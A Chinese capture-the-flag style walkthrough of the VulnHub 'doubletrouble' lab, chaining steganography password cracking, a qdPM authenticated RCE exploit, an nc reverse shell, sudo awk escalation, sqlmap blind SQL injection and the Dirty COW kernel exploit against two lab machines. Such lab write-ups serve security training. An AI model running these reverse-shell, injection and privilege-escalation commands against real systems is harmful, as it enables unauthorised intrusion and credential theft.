VulnHub靶机-doubletrouble |红队打靶
2023-6-7 08:31:21 Author: 0x00实验室(查看原文) 阅读量:32 收藏

 声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!

实战打靶系列第 13 篇文章 

doubletrouble双重困难,正如靶机名称所言这台靶机需要去攻打两台靶机,在打下第一台靶机之后,/root目录下有另外一台靶机。
这台靶机中会利用到一个破解隐写密码的工具(StegSeek),它的速度非常快,可以在很短很短的时间内使用rockyou这个字典破解密码
工具下载地址:https://github.com/RickdeJager/stegseek/releases/tag/v0.6,下载deb格式,在kali中使用**apt install deb文件**,即可安装。
这台靶机还涉及的知识点,sql时间盲注,脏牛提权

一、主机发现

fping -gaq 192.168.56.0/24

靶机的ip:192.168.56.116

kali的ip:192.168.56.102

二、信息收集

开放端口以及运行的服务、操作系统类型探测

nmap -sV -sC -O -p- -sT 192.168.56.116

开放22,80两个端口,22是ssh服务、80是apache的http服务,并且80端口可以看出是qdpm的登录,操作系统探测是Linux 4.15 - 5.6(Debian)

浏览器对80端口访问

发现登录要的是email,而不知道qbpm的email格式是如何的,尝试使用qdpm的默认密码登录,email:[email protected],密码:admin

登陆失败,登录框下方发现qdpm的官方地址,查看一下,看一下版本更新

发现最新版本为9.3,而目前靶机的版本是9.1,发现更新那里发现需要去移除/install和/core/cache/qdPM/,拼接访问一下,

/install是添加数据库的功能,但是在这里没有什么用处

/core/cache/qdPM/,有一些配置文件,但是大部分都是模块的,没有什么用处

目录爆破

dirsearch -u http://192.168.56.116

发现一些名字很是吸引人的目录,/backups/,/readme.txt,/robots.txt,/secret/,/uploads/

web渗透

对每个目录进行访问

/backups/,/robots.txt,/uploads/都为空,没有信息,/readme.txt,只是qdpm的一些系统的介绍

/secret/,秘密的意思,发现有一张图片,结合名字,这张图片可能有信息,下载图片

查看图片中嵌入的文件信息:

steghide info doubletrouble.jpg

发现需要密码

使用stegseek工具结合rockyou.txt进行破解密码

发现密码为92camaro,并且已经将图片中隐藏的信息提取到doubletrouble.jpg.out

发现有一个邮箱和密码,想到80端口的登录页面需要emil的账号进行登录,尝试登录80端口

成功登录

发现添加管理员可以上传图片,尝试能不能通过文件上传获取shell

添加,上传php的一句话木马,获取图片的链接,发现图片重命名为jpg的格式,

但是没有办法解析执行,所以只能走另外的途径

searchsploit qdpm     查看有没有历史漏洞

发现有几个符合80端口qdpm的版本,其中有两个是远程代码执行,47954.py  50175.py

复制到本地

searchsploit -m 47954.py .

searchsploit -m 50175.py .

查看py文件内容

发现需要有账号密码才能进行执行,47954.py需要python2,50175.py需要python3,结合之前获取的账号密码,尝试使用50175.py来进行获取shell

(50175.py文件的缩进有问题,需要手动修改)

python3 50175.py -url http://192.168.56.116/ -u [email protected] -p otis666

执行之后,创建了一个php后门文件,在/uploads/users/

结合它的说明

可以进行系统命令的执行

获取初始shell

which nc看一下是否有nc

使用nc将shell反弹回kali(先尝试-e参数)

nc 192.168.56.102 4444 -e /bin/bash

获得初始shell

提权

python -c 'import pty;pty.spawn("/bin/bash")' 提高交互性

sudo滥用查询

可以无密码只用root权限执行awk命令

提权 sudo awk 'BEGIN {system("/bin/sh")}'   (GTFOBins上面获取的)

发现有一个ova文件,这就是第二台靶机

使用nc将文件传输到本地(也可以使用web服务进行下载,但是nc的传输大文件的速度很快)

靶机: nc 192.168.56.102 3333 < doubletrouble.ova -w 1  将文件传输给kali的3333端口,-w 1表示传输成功后1s端口连接,这样子就可以看到什么时候传输成功过

kali: nc -lnvp 3333 > doubletrouble2.ova

将ova文件导入vbox

主机发现

靶机二ip:192.68.56.119

kali的IP:192.168.56.102

信息收集

开放端口以及运行的服务、操作系统类型探测

nmap -sV -sC -O -p- -sT 192.168.56.119

同样开放22,80端口,22是ssh服务、80是apache的http服务,操作系统探测是Linux 3.2 - 3.16(Debian)(操作版本有点低)

80端口访问

一个登录框,但是这里的弱口令登录不进去

使用nmap的漏洞库对80端口进行扫描

nmap --script=vuln -p80  --min-rate=10000 192.168.56.119

发现的漏洞基本都没有

web渗透

尝试对80端口的登录框进行sql注入的各种检测

可以进行手动测试,但是这里使用sqlmap进行测试(这里存在时间盲注)

将登录的数据包保存为1.txt

sqlmap -r 1.txt --dbs

sqlmap -r 1.txt -D doubletrouble --tables

sqlmap -r 1.txt -D doubletrouble -T users --columns

sqlmap -r 1.txt -D doubletrouble -T users -C username,password --dump

发现有用户名和密码

获取初始shell

使用ssh登录

第一个用户登录不成功

第二个用户登录成功,获得初始shell

提权

没有sudo滥用可以利用提权,定时任务也没有,suid也没有

回想信息收集,它的linux版本好像很低

uname -a

操作系统版本 Linux 3.2.0-4

脏牛提权:Linux 内核2.6.22 – 3.9

使用脏牛尝试提权(exp可以通过github下载)

编译:gcc -pthread dirty.c -o exp -lcrypt

执行./exp pass

(pass你要登陆的root权限的账号密码)

然后脏牛新建一个账号firefart,替换目标操作系统的root账号,密码为上面执行的密码;脏牛还会去备份目前系统的的/etc/passwd文件(比如/tmp/passwd.bak)

ssh重新登录(账号:firefart 密码:pass)

如果是在比赛或者渗透测试中,建议将已经备份的/tmp/passwd.bak文件重新拷贝覆盖回原来的/etc/passwd,再通过直接输入passwd命令重新修改root账号的密码(不是脏牛创建的那个),那么在进行登陆的时候,就不用在每次都触发脏牛

cp /tmp/passwd.bak /etc/passwd

passwd使用新的账号密码

ssh登录root账号

拿到flag

参考资料:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247490469&idx=1&sn=6b9bd477a9020d5d36e0bd424c606aca&chksm=cfd8645af8afed4cc892831e34a4f3de6572118fa606665c15e3ce24ff57c04bf6d790e614c7#rd
如有侵权请联系:admin#unsafe.sh